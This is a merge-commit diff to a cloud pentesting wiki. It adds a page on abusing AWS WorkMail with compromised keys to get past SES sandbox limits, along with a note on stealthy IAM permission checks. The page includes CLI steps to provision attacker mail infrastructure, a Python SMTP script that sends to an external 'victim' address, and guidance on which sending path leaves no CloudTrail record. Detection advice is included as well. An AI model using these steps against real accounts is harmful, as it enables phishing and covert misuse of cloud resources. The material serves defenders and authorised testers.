Merge pull request #253 from HackTricks-wiki/update_Threat_Actors_Using_AWS_WorkMail_in_Phishing_Campa_20260127_183842

Threat Actors Using AWS WorkMail in Phishing Campaigns
This commit is contained in:
SirBroccoli
2026-02-12 13:30:45 +01:00
committed by GitHub
4 changed files with 105 additions and 0 deletions

View File

@@ -310,6 +310,7 @@
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
- [Readme](pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md)
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)

View File

@@ -80,6 +80,18 @@ aws sesv2 send-custom-verification-email --email-address <value> --template-name
Still to test.
## WorkMail pivot to bypass SES sandbox
When `ses:GetAccount` shows the account is still in the SES sandbox and `ses:ListIdentities` returns no verified senders, attackers can **pivot to WorkMail** to send immediately (no sandbox and higher default quotas) by creating orgs, verifying domains, and registering mailboxes.
{{#ref}}
../aws-workmail-post-exploitation/README.md
{{#endref}}
## References
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,78 @@
# AWS - WorkMail Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Abusing WorkMail to bypass SES sandbox
Even if SES is stuck in the **sandbox** (verified-recipient only, ~200 msgs/24h, 1 msg/s), WorkMail has no equivalent restriction. An attacker with long-term keys can spin up disposable mail infra and start sending immediately:
1. **Create a WorkMail org (region-scoped)**
```bash
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
```
2. **Verify attacker-controlled domains** (WorkMail invokes SES APIs as `workmail.amazonaws.com`):
```bash
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
```
3. **Provision mailbox users** and register them:
```bash
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com
```
Notes:
- Default **recipient cap** documented by AWS: **100,000 external recipients/day per org** (aggregated across users).
- Domain verification activity will appear in CloudTrail under SES but with **`invokedBy`: `workmail.<region>.amazonaws.com`**, so SES verification events can belong to WorkMail setup rather than SES campaigns.
- WorkMail mailbox users become **application-layer persistence** independent from IAM users.
## Sending paths & telemetry gaps
### Web client (WorkMail UI)
- Sends surface as **`ses:SendRawEmail`** events in CloudTrail.
- `userIdentity.type` = `AWSService`, `invokedBy/sourceIPAddress/userAgent` = `workmail.<region>.amazonaws.com`, so the **true client IP is hidden**.
- `requestParameters` still leak sender (`source`, `fromArn`, `sourceArn`, configuration set) to correlate with newly verified domains/mailboxes.
### SMTP (stealthiest)
- Endpoint: `smtp.mail.<region>.awsapps.com:465` (SMTP over SSL) with the mailbox password.
- **No CloudTrail data events** are generated for SMTP delivery, even when SES data events are enabled.
- Ideal detection points are **org/domain/user provisioning** and SES identity ARNs referenced in subsequent web-sent `SendRawEmail` events.
<details>
<summary>Example SMTP send via WorkMail</summary>
```python
import smtplib
from email.message import EmailMessage
SMTP_SERVER = "smtp.mail.us-east-1.awsapps.com"
SMTP_PORT = 465
EMAIL_ADDRESS = "marketing@attacker-domain.com"
EMAIL_PASSWORD = "SuperSecretPassword!"
target = "victim@example.com" # can be unverified/external
msg = EmailMessage()
msg["Subject"] = "WorkMail SMTP"
msg["From"] = EMAIL_ADDRESS
msg["To"] = target
msg.set_content("Delivered via WorkMail SMTP")
with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp:
smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
smtp.send_message(msg)
```
</details>
## Detection considerations
- If WorkMail is unnecessary, block it via **SCPs** (`workmail:*` deny) at the org level.
- Alert on provisioning: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, and SES verifications with `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Watch for anomalous **`ses:SendRawEmail`** events where the identity ARNs reference new domains and the source IP/UA equals `workmail.<region>.amazonaws.com`.
## References
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -90,6 +90,20 @@ aws iam list-mfa-devices
aws iam list-virtual-mfa-devices
```
### Stealth permission confirmation via intentional failures
When `List*` or simulator APIs are blocked, you can **confirm mutating permissions without creating durable resources** by forcing predictable validation errors. AWS still evaluates IAM before returning these errors, so seeing the error proves the caller has the action:
```bash
# Confirm iam:CreateUser without creating a new principal (fails only after authz)
aws iam create-user --user-name <existing_user> # -> EntityAlreadyExistsException
# Confirm iam:CreateLoginProfile while learning password policy requirements
aws iam create-login-profile --user-name <target_user> --password lower --password-reset-required # -> PasswordPolicyViolationException
```
These attempts still generate CloudTrail events (with `errorCode` set) but avoid leaving new IAM artifacts, making them useful for **low-noise permission validation** during interactive recon.
### Permissions Brute Force
If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them.